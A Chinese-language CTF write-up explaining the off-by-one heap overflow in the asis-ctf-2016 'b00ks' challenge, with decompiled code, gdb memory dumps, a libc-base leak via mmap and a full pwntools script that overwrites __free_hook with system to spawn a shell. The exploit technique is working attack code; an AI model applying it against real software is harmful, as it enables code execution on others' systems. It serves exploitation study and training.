这些天积累也知道了一些关于glibc内存的分配策略。
说pwn 是在内存里捉迷藏其实到这里才真正接触大片的内存。精确控制就能保证精确修改数据。
需要的一个很重要的能力就是跟内存的能力。
这里调试exp用gdb.attach(p)来下断点,弹出调试界面。跟踪内存。
用gdb的x命令/xg参数来查看内存以十六进制8字节显示。
这个程序开启了PIE跟踪不太容易,不过可以用find命令查找输入的字符串来定位地址

查看保护:

liu@liu-F117-F:~/文档/堆溢出学习/off-by-one$ checksec b00ks
[*] '/home/liu/\xe6\x96\x87\xe6\xa1\xa3/\xe5\xa0\x86\xe6\xba\xa2\xe5\x87\xba\xe5\xad\xa6\xe4\xb9\xa0/off-by-one/b00ks'Arch:     amd64-64-littleRELRO:    Full RELROStack:    No canary foundNX:       NX enabledPIE:      PIE enabled
liu@liu-F117-F:~/文档/堆溢出学习/off-by-one$ 

保护只关闭了stack

是一个图书管理系统。
主要内容就这么多

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{struct _IO_FILE *v3; // rdi__int64 savedregs; // [rsp+20h] [rbp+0h]setvbuf(stdout, 0LL, 2, 0LL);v3 = stdin;setvbuf(stdin, 0LL, 1, 0LL);sub_A77(v3, 0LL);sub_B6D(v3);while ( (unsigned int)sub_A89() != 6 ){switch ( (unsigned int)&savedregs ){case 1u:sub_F55();break;case 2u:sub_BBD(v3);break;case 3u:sub_E17(v3);break;case 4u:sub_D1F(v3);break;case 5u:sub_B6D(v3);break;default:v3 = (struct _IO_FILE *)"Wrong option";puts("Wrong option");break;}}puts("Thanks to use our library software");return 0LL;
}

0x01找出来这个程序中图书结构体的存储方式

             else{v4 = malloc(0x20uLL);if ( v4 ){*((_DWORD *)v4 + 6) = v2;*((_QWORD *)off_202010 + v3) = v4;*((_QWORD *)v4 + 2) = v6;*((_QWORD *)v4 + 1) = ptr;*(_DWORD *)v4 = ++unk_202024;return 0LL;}

v2是输入的discroption的长度,v6指向discription。ptr指向name,unk_202024是一个ID每一本书都会有一个ID.
测试如下
测试数据:

Enter author name: AAAAAAAABC1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit
> 1 Enter book name size: 12
Enter book name (Max 32 chars): liu123Enter book description size: 20
Enter book description: i am liu111111

ctl+c断下来

gdb-peda$ find AAAABC
Searching for 'AAAABC' in: None ranges
Found 1 results, display max 1 items:
b00ks : 0x555555756044 --> 0x434241414141 ('AAAABC')
gdb-peda$ x /10xg 0x555555756040
0x555555756040: 0x4141414141414141  0x0000000000004342
0x555555756050: 0x0000000000000000  0x0000000000000000
0x555555756060: 0x00005555557576b0  0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000

这里存放的是作者+第一本书的结构

gdb-peda$ x /10xg 0x00005555557576b0
0x5555557576b0: 0x0000000000000001  0x0000555555757670
0x5555557576c0: 0x0000555555757690  0x0000000000000014
0x5555557576d0: 0x0000000000000000  0x0000000000020931

这里是id,name地址和discription的地址,size。
0x0000000000020931这个书是top chunk可以认为是一个标识,标识着堆的顶。
再看Create函数,里面是三个malloc函数先malloc的是name 然后是discription最后是v4这个结构。
这里有一点疑问,为什么存的时候是*((_DWORD *)v4 + 6) = v2;而真正的内存里面却是把0x0000000000000014放到了+3处。
知道的欢迎留言,非常感谢。


0x02找出漏洞
题目就是off-by-one就是一个字节的溢出。
下面是自定义的一个read函数

signed __int64 __fastcall sub_9F5(_BYTE *a1, int a2)
{int i; // [rsp+14h] [rbp-Ch]_BYTE *buf; // [rsp+18h] [rbp-8h]if ( a2 <= 0 )return 0LL;buf = a1;for ( i = 0; ; ++i ){if ( (unsigned int)read(0, buf, 1uLL) != 1 )return 1LL;if ( *buf == 10 )break;++buf;if ( i == a2 )break;}*buf = 0;return 0LL;
}

在输入作者的时候存在漏洞。
如果输入的数据有32个字符程序会把00添加到第33个位置上。


0x03利用漏洞分析
利用漏洞之前这里讲一个函数,__free_hook函数。在调用free之前如果__free_hook函数不为NULL会先调用__free_hook函数在内存中前面紧挨的是它的参数这个函数本身是一个地址。更改这个地址指向的值可以实现劫持程序执行流。

这里用到了2个指针要求想要正确调用这个函数至少需要1.自由修改一个地址。2.前面修改的内容处写入为指针那么这个指针指向的内容也能修改。

上述修改过程需要满足找到一个地址,这个地址有2重或者更多重含义例如:这个地址将会是b00k1中的discrip部分同时也是指向了第二个chunk的name.

下面的漏洞利用将达到这个目的。


0x04获取libc地址
libc的加载地址和用mmap申请的空间的地址有关,当malloc申请的空间比较小时用brk来分配,当申请空间比较大时用mmap分配这里需要做的是申请一个大的空间。

填充进32个作者字符之后会使第33位设置为00在调用Create函数的时候会把00覆盖掉,可以实现泄露第一个b00k的地址。

p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
gdb.attach(p)
print hex(first_b00k_addr)

看这时候的内存

0x56146d2ad050: 0x4141414141414141  0x4241414141414141
0x56146d2ad060: 0x000056146f25e330  0x0000000000000000
0x56146d2ad070: 0x0000000000000000  0x0000000000000000
0x56146d2ad080: 0x0000000000000000  0x0000000000000000
0x56146d2ad090: 0x0000000000000000  0x0000000000000000

00被覆盖掉了。
接下来是设计一个伪造的b00k1这个伪造的book1有2层含义1.是b00k1的discription部分(本身可以修改)。2.指向第二个b00k的name字段。
程序提供了修改作者操作,调用修改作者可以修改第一个b00k的最后一个字节为00.

hange("A"*30+'B'+'C')
p.recvuntil("> ")

first_b00k的地址最后一个字节已被修改为00

gdb-peda$ x /10xg 0x55dbba2e8050
0x55dbba2e8050: 0x4141414141414141  0x4342414141414141
0x55dbba2e8060: 0x000055dbbb5e1300  0x000055dbbb5e1360
0x55dbba2e8070: 0x0000000000000000  0x0000000000000000
0x55dbba2e8080: 0x0000000000000000  0x0000000000000000
0x55dbba2e8090: 0x0000000000000000  0x0000000000000000

设置first_b00k_discription的chunk可以控制最后以字节为00处刚好为first_b00k指针指向的位置。伪造discription为fake b00k

p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
#gdb.attach(p)
print hex(first_b00k_addr)

伪造first_b000k的discription项为first_b00k,让伪first_b00k的discription指向second_b00k的name。

gdb-peda$ x /100xg 0x0000564315697300
0x564315697300: 0x0000000000000001  0x0000564315697368
0x564315697310: 0x0000564315697368  0x000000000000ffff
0x564315697320: 0x0000000000000000  0x0000000000000031
0x564315697330: 0x0000000000000001  0x0000564315697270
0x564315697340: 0x0000564315697300  0x0000000000000020
0x564315697350: 0x0000000000000000  0x0000000000000031
0x564315697360: 0x0000000000000002  0x00007fef169dc010
0x564315697370: 0x00007fef169ab010  0x0000000000030d40
0x564315697380: 0x0000000000000000  0x000000000001fc81

输出first_b00k的discription即为second_b00k_name指针实现泄露。
顺序:
1.设置作者为32字节
2.设置first_b00k的内容使地址最后以字节为00的地址处刚好指向first_b00k的discription
3.输出接收到first_b00k的地址。
4.更改first_b00k_discription为伪first_b00k
5.设置second_b00k的内容特别大,使malloc用mmap来分配内存
6.用32字节更改author使first_b00k指向fake b00k
7.输出first_b00k的discription实现泄露。

liu@liu-F117-F:~$ sudo cat /proc/32296/maps
[sudo] liu 的密码:
5643149e6000-5643149e8000 r-xp 00000000 fd:00 13109433                   /home/liu/文档/堆溢出学习/off-by-one/b00ks
564314be7000-564314be8000 r--p 00001000 fd:00 13109433                   /home/liu/文档/堆溢出学习/off-by-one/b00ks
564314be8000-564314be9000 rw-p 00002000 fd:00 13109433                   /home/liu/文档/堆溢出学习/off-by-one/b00ks
564315696000-5643156b7000 rw-p 00000000 00:00 0                          [heap]
7fef1641a000-7fef16601000 r-xp 00000000 fd:00 10490465                   /lib/x86_64-linux-gnu/libc-2.27.so
7fef16601000-7fef16801000 ---p 001e7000 fd:00 10490465                   /lib/x86_64-linux-gnu/libc-2.27.so

second_book_name-0x7fef1641a000=mmap申请地址的偏移。
偏移是固定的,通过这个公式计算出来偏移那么后面计算libc_base就是
second_b00k_name-mmap申请地址偏移=libc_base.


0x05 运行system(“/bin/sh”)

获取需要函数和参数的地址

libc=ELF('libc.so.6')
system_addr = libc.symbols['system'] + libc_base_addr
print "system_addr="+hex(system_addr)
free_hook=libc.symbols["__free_hook"]+libc_base_addr
binsh_addr = libc.search('/bin/sh').next() + libc_base_addr
#gdb.attach(p)

因为开启了RELRO: Full RELRO保护不能复写got表
设置first_b00k_name内容为binsh,first_b00k_discription为free_hook,用second_b00k_discription向free_hook指向的内容写入system函数的地址。
当调用free函数的时候__free_hook函数不为NULL会优先调用__free_hook函数劫持free函数
执行system函数第一个free的参数可以设置为second_b00k_name。

from pwn import *
#context.log_level="debug"
p=process("./b00ks")def Create(name_size,name,discription_size,discription):p.sendline('1')p.recvuntil("size: ")p.sendline(name_size)p.recvuntil("Enter book name (Max 32 chars): ")p.sendline(name)p.recvuntil("Enter book description size: ")p.sendline(discription_size)p.recvuntil("Enter book description: ")p.sendline(discription)def Delete(ID):p.sendline("2")p.recvuntil("Enter the book id you want to delete: ")p.sendline(ID)def Edit(ID,discription):p.sendline("3")p.recvuntil("Enter the book id you want to edit: ")p.sendline(ID)p.recvuntil("Enter new book description: ")p.sendline(discription)def Print():p.sendline("4")def Change(author_name):p.sendline("5")p.recvuntil("Enter author name: ")p.sendline(author_name)#################################leak book1_addr###############################
p.recvuntil("Enter author name: ")
p.sendline("A"*31+"B")
p.recvuntil("> ")
Create("130","jion","32","i am join") #######set fake b00k_addr
p.recvuntil("> ")
Print()
print p.recvuntil("AB")
first_b00k_addr=u64(p.recv(6)+'\00'+'\00')
#gdb.attach(p)
print hex(first_b00k_addr)
####################################leak book1_addr end##########################################################set fake b00k in first b00k of discription###############
p.recvuntil("> ")
payload=p64(0x01)+p64(first_b00k_addr+0x38)*2+p64(0xffff)
Edit('1',payload)
##############################make big memrry ####################################
p.recvuntil("> ")
Create('200000','bill','200000',"this is bill")
p.recvuntil("> ")
############################set first b00k to fake b00k############################Change("A"*30+'B'+'C')
p.recvuntil("> ")
gdb.attach(p)#############################get second b00k addr(get libc)#######################
Print()
p.recvuntil("Name: ")
second_name_addr=u64(p.recv(6)+'\x00'+'\x00')
print "second_name_addr="+hex(second_name_addr)
#gdb.attach(p)
libc_base_addr=second_name_addr-0x5c2010
print "libc_base_addr="+hex(libc_base_addr)
p.recvuntil("> ")
################################get libc addr end########################################
libc=ELF('libc.so.6')
system_addr = libc.symbols['system'] + libc_base_addr
print "system_addr="+hex(system_addr)
free_hook=libc.symbols["__free_hook"]+libc_base_addr
binsh_addr = libc.search('/bin/sh').next() + libc_base_addr
#gdb.attach(p)
####################################get shell#########################################
payload = p64(binsh_addr) + p64(free_hook)  #second_b00k_name=bin_sh    second_b00k_discription=free_hook
Edit('1',payload)
payload=p64(system_addr)   #free_hook-->system_addr
Edit('2',payload)
Delete('2')
p.interactive()

堆溢出off-by-one(asis-ctf-2016 pwn 之 b00ks)相关推荐

  1. CSAW CTF 2016 PWN quals-warmup

    CSAW CTF 2016 PWN quals-warmup 原文链接 先对文件有个大致的了解,是64位ELF文件 ☁ csaw ctf 2016 quals-warmup ls exp.py fla ...

  2. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

  3. c++算术溢出_二进制安全之堆溢出(系列)——CTF环境配置

    [重要通知]知了堂禁卫实验室全新上线!! 这里有安全体系的学习资源. 最前沿的原创文章.最新的漏洞挖掘原创!! 本期是"二进制安全之堆溢出"系列第一期,主要介绍CTF环境配置.安装 ...

  4. 堆溢出-House of orange 学习笔记(看雪论坛)

    https://www.jianshu.com/p/4b0a73f321f9 前几天把House of orange重新学习了一下,比照着glibc malloc的源码好好分析了一下,希望做到真正做到 ...

  5. 【pwn学习】堆溢出(三)- Unlink和UAF

    前置学习 [pwn学习]堆溢出(一) [pwn学习]堆溢出(二)- First Fit 文章目录 什么是Unlink? Unlink如何利用? 加入错误检查 什么是Use-After-free? 例题 ...

  6. 堆溢出攻击(XP SP2 - 2003)

    微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重: * PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而 ...

  7. android 9patch 漏洞,Android 9patch 图片解析堆溢出漏洞分析(CVE-2015-1532)

    [前言] 日前谷歌公开了一个今年1月份更新的漏洞.这个漏洞修复了一个存在于Android 5.1版本以下图片渲染的问题,可以查看相关链接. 9patch是Android上特有的一种图片格式,就是在普通 ...

  8. pwn学习总结(五) —— 堆溢出经典题型整理

    pwn学习总结(五) -- 堆溢出经典题型整理 fastbin + 栈溢出 fastbin + 函数构造 fastbin + 堆执行 fastbin + malloc_hook fastbin + 栈 ...

  9. CVE-2012-1876 Internet Exporter堆溢出漏洞分析

    文章目录 漏洞描述 IE浏览器组件介绍 分析环境 POC 漏洞分析 漏洞利用 参考资料 漏洞描述 该IE浏览器漏洞的成因在mshtml.dll这个模块的CTableLayout::CalculateM ...

  10. 无线循环里面 string = “i”会内存溢出吗?_记一次公司JVM堆溢出抽茧剥丝定位的过程...

    背景 公司线上有个tomcat服务,里面合并部署了大概8个微服务,之所以没有像其他微服务那样单独部署,其目的是为了节约服务器资源,况且这8个服务是属于边缘服务,并发不高,就算宕机也不会影响核心业务. ...

最新文章

  1. 优秀!广州“土博士”刚毕业,即获海外名校终身教职!
  2. 【数据安全案例】个人信息倒卖产业链悄然形成,司法困境依旧待解
  3. presentViewController和pushViewController
  4. ffmpeg 同宽度 画中画_FFmpeg中overlay滤镜用法-水印及画中画
  5. python将excel转换成图片_python-尝试将Excel文件保存为图片并加上水印
  6. 深入jar包:从jar包中读取资源文件
  7. java 中缀式转后缀式
  8. 高等代数——大学高等代数课程创新教材(丘维声)——2.5笔记+习题
  9. IDEA中部署Tomcat及原理
  10. 飞鸽传书【经典版】(飞鸽传书2011)
  11. EndNote毕业论文参考文献格式输出
  12. 图数据库 Dgraph 学习笔记
  13. 【阿里云IoT+YF3300】7.物联网设备表达式运算
  14. glew glfw opengl 之间的关系
  15. 企业信息化战略与实施
  16. Android 拖动条 和 Handle
  17. C4.5算法缺失值处理
  18. 企业想变换ISO9001发证机构,需要怎么操作?
  19. 《出版专业实务》(2015年版初级)思考与练习答案 第二章
  20. 请问机器学习算法岗中用户增长和推荐系统差别是什么呢?

热门文章

  1. android打飞机游戏、MVP句子迷App、悬浮窗、RxJava+Retrofit、加载动画、定制计划App等源码...
  2. 一起学爬虫(Python) — 21 蝉妈妈,嘿嘿
  3. 使用pascal voc训练测试faster rcnn
  4. ubuntu16.04登录后只有蓝色背景解决方法
  5. 新浪微博注册(elenium Python 自动化)
  6. 香港自由行攻略(自用)
  7. iphone老是显示e服务器,苹果手机变成e网怎么办(苹果手机上显示e,怎么回事?)
  8. Google Kick Start 2019 C轮 题解
  9. AtCoder Beginner Contest 275 A-D题解
  10. linux大容量硬盘 克隆到小硬盘_clonezilla 不管用了,手动把 GPT 分区的 ubuntu14.04 从大硬盘克隆到小硬盘...